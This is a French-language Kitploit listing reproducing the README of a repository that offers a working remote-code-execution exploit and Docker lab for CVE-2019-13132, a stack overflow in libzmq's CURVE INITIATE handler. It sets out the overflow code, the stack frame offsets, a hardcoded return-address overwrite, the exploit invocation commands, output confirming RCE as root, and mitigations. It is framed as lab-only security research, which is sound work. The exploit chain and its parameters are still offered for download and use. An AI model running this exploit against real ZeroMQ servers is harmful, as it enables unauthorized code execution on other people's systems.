Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2019-13132-lab — CVE-2019-13132 — libzmq CURVE INITIATE débordement de pile → RCE. Exploit fonctionnel + laboratoire Docker. | Kitploit
Outils/GitHubGitHub/dinosn/cve-2019-13132-lab
Analyse des VulnérabilitésExploitationRétro-ingénierieFuzzingApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de BinairesLabs et Pratique
GitHubdinosn/cve-2019-13132-lab

cve-2019-13132-lab

CVE-2019-13132 — libzmq CURVE INITIATE débordement de pile → RCE. Exploit fonctionnel + laboratoire Docker.

Voir le dépôt
2il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-13132 — Débordement de pile CURVE INITIATE de libzmq → laboratoire RCE

CVE CVSS Affected License

Exploit RCE fonctionnel de bout en bout + laboratoire reproductible pour CVE-2019-13132, un débordement de tampon de pile dans le gestionnaire de poignée de main CURVE INITIATE de libzmq. Un attaquant connaissant la clé publique à long terme du serveur (un paramètre public par conception) peut déborder un tampon de pile de taille fixe dans process_initiate(), écraser l'adresse de retour sauvegardée et rediriger l'exécution vers du code arbitraire.

Par Nicolas Krassas (@dinosn).

Usage en laboratoire uniquement. Ce kit fournit une version intentionnellement vulnérable de libzmq 4.3.0 avec les mitigations désactivées. N'exposez pas le port 5556 en dehors du laboratoire. Le bogue a été corrigé dans libzmq 4.3.2.


Démarrage rapide

root@kitploit:~
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
           -p 5556:5556 cve-2019-13132-lab

# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132

Test de fumée automatisé (exécute l'exploit et vérifie le fichier de preuve) :

root@kitploit:~
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh

Structure du dépôt

root@kitploit:~
.
├── README.md           # this file
├── Dockerfile          # one-command containerised lab
├── server-curve.c      # CURVE REP listener — the vulnerable target
├── exploit.py          # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py  # build-time offset extraction → build_offsets.json
├── calibrate.sh        # runtime calibration → profile.json
├── start_server.sh     # start/restart the target
├── run_lab_test.sh     # automated end-to-end smoke test
└── entrypoint.sh       # Docker entrypoint (ASLR off + server + calibrate)

La vulnérabilité

src/curve_server.cpp:284-336 (libzmq 4.3.0) :

root@kitploit:~
if (size < 257) {                   // only a MINIMUM check; no upper bound
    errno = EPROTO; return -1;
}

const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;

uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256];  // 416 bytes fixed

memcpy (initiate_box + crypto_box_BOXZEROBYTES,             // dest: stack buf + 16
        initiate + 113,                                     // src:  attacker data
        clen - crypto_box_BOXZEROBYTES);                    // len:  size - 113

initiate_box est un tampon de 416 octets alloué sur la pile. Le memcpy écrit size - 113 octets dans la région de charge utile de 400 octets (décalage 16..415). Tout INITIATE avec size > 513 déborde au-delà du tampon dans les registres sauvegardés de l'appelé et l'adresse de retour.

La vérification du cookie a lieu avant le débordement, donc l'INITIATE doit porter un cookie authentique — mais le cookie est obtenu à partir du message WELCOME précédent en utilisant uniquement la clé publique à long terme du serveur.


Chaîne d'exploitation

1. Poignée de main CURVE (seule la clé publique est nécessaire)

Le protocole CURVE est conçu pour que les clients possèdent déjà la clé publique à long terme du serveur (elle se trouve dans l'URI de connexion ou la configuration). L'exploit :

  1. Génère une nouvelle paire de clés éphémères (C', c').
  2. Envoie un HELLO valide — le serveur le déchiffre en utilisant C' + sa clé secrète.
  3. Reçoit WELCOME — le déchiffre en utilisant C' + la clé publique du serveur.
  4. Extrait le cookie de WELCOME.
  5. Envoie INITIATE avec le cookie authentique + charge utile surdimensionnée.
  6. Le cookie est validé, et le memcpy vulnérable se déclenche.

Pas de credentials au niveau de l'application. Pas de contournement de l'authentification ZAP. Le débordement se déclenche pendant l'échange de clés CURVE, avant que l'application ne voie jamais le pair.

2. Débordement de pile → écrasement de l'adresse de retour

root@kitploit:~
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):

    prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
              sub $0x628, %rsp

    RSP + 0x490  ← memcpy destination (initiate_box + 16)
    RSP + 0x628  ← saved rbx
    RSP + 0x630  ← saved rbp
    RSP + 0x638  ← saved r12
    RSP + 0x640  ← saved r13
    RSP + 0x648  ← saved r14
    RSP + 0x650  ← saved r15
    RSP + 0x658  ← RETURN ADDRESS       offset = 0x658 - 0x490 = 456 bytes

L'exploit envoie 464 octets de charge utile : 456 octets de remplissage (0x41) pour atteindre l'adresse de retour, puis 8 octets contenant l'adresse de lab_trampoline().

3. Chemin d'erreur → épilogue → ret → trampoline

Après le débordement, crypto_box_open() échoue (les données débordées sont un texte chiffré inutilisable). Le chemin d'erreur enregistre l'échec, définit errno et retourne -1 — mais le chemin d'erreur n'accède qu'aux emplacements de pile en dessous de la région de débordement (RSP+0xe0, RSP+0xf0, RSP+0x280), donc il s'exécute proprement avec la pile corrompue.

L'épilogue de la fonction (add $0x628,%rsp; pop rbx-r15; ret) dépile les registres sauvegardés corrompus (maintenant 0x4141414141414141) puis ret charge notre adresse de trampoline.

4. Exécution de code

lab_trampoline() utilise des appels système bruts (pas de libc, pas de fork()) pour écrire le fichier de preuve :

root@kitploit:~
void lab_trampoline(void) {
    int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    syscall(SYS_write, fd, banner, ...);
    // reads /proc/self/status (shows uid, pid, capabilities)
    // reads /etc/hostname
    syscall(SYS_exit_group, 0);
}

Des appels système bruts sont utilisés au lieu de system() / fork() car process_initiate() s'exécute sur le thread I/O de libzmq — appeler fork() depuis un thread non principal dans un processus multi-threadé provoque un interblocage sur les gestionnaires de verrouillage pthread_atfork de glibc.

Pourquoi seule la clé publique est nécessaire

La clé publique à long terme du serveur est un paramètre public dans le protocole CurveZMQ — les clients doivent l'avoir pour se connecter. Elle est généralement distribuée dans des fichiers de configuration, des URI ou des mécanismes de découverte. L'exploit ne nécessite aucun matériel secret.


Résolution des décalages

L'exploit a besoin de deux valeurs :

champvaleursource
trampoline_addr0x401206nm server-curve (binaire non-PIE, adresse fixe)
offset_to_ret456désassemblage de process_initiate (0x658 - 0x490)

Les deux sont codés en dur dans exploit.py comme valeurs par défaut intégrées pour la construction du laboratoire Docker (Debian 12, gcc 12, libzmq 4.3.0). Aucune étape de calibration n'est nécessaire — exécutez simplement l'exploit :

root@kitploit:~
python3 exploit.py                                          # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json   # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456       # manual override

Priorité de résolution : drapeaux --trampoline/--offset → fichier --profile → /opt/zmq-curve-rce/profile.json → valeurs par défaut intégrées.

Pourquoi pas d'empreinte runtime ?

ZMTP n'a pas d'API d'introspection. Le message de bienvenue ne révèle que la version du protocole (3.x) et le mécanisme (CURVE) — rien sur la construction de libzmq, le compilateur ou la disposition binaire. Il n'y a pas d'identifiant de construction accessible à l'exécution qui permettrait une sélection automatique des décalages contre des cibles inconnues.

Les scripts calibrate.sh / compute_offsets.py sont fournis pour les reconstructions sur différentes distributions ou versions de gcc, où l'adresse du trampoline peut changer. Dans le laboratoire Docker, ils s'exécutent automatiquement mais ne sont pas nécessaires.


Exemple de sortie

root@kitploit:~
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target:         127.0.0.1:5556
[*] trampoline    @ 0x0000000000401206
[*] offset to ret:  456 bytes

[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target

--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name:   server-curve
...
Uid:    0       0       0       0
...
hostname: caa76cbbc4a4
--- end ---

[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.

Mitigations

DéfenseEffet
Mise à niveau vers libzmq >= 4.3.2Corrigé. Ajoute une vérification de limite supérieure sur la taille d'INITIATE avant le memcpy.
Canaris de pile (-fstack-protector)Détecte le débordement avant le retour de la fonction. Le canari se situe entre les variables locales et les registres sauvegardés ; le débordement le corrompt, déclenchant __stack_chk_fail.
ASLRRandomise les adresses des bibliothèques partagées et de la pile. Le trampoline est dans un binaire non-PIE (adresse fixe), mais un serveur de production serait PIE, nécessitant une fuite d'information.
PIERandomise l'adresse de chargement du binaire du serveur. L'adresse du trampoline ne serait plus prévisible sans fuite.
NXPas pertinent ici — aucun shellcode n'est injecté ; l'exploit appelle du code existant.
ZAP / authentification au niveau de l'applicationN'aide pas — le débordement se produit pendant l'échange de clés CURVE, avant que ZAP ne soit consulté.

Nettoyage

root@kitploit:~
docker rm -f <container>
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2   # restore ASLR

Références

  • NVD CVE-2019-13132
  • libzmq 4.3.2 release notes — the fix
  • CurveZMQ spec (ZMQ RFC 26) — CURVE handshake protocol
  • ZMTP 3.1 (ZMQ RFC 37) — ZeroMQ Message Transport Protocol

Auteur

Nicolas Krassas — @dinosn

Licence

MIT. Le code source intentionnellement vulnérable de libzmq 4.3.0 est récupéré au moment de la construction depuis le dépôt amont sous LGPLv3-avec-exceptions / MPLv2.

Avertissement

Pour la recherche en sécurité défensive, l'éducation et les tests de sécurité autorisés uniquement. Ne déployez pas la version vulnérable fournie en dehors d'un environnement de laboratoire confiné.

Télécharger l’outil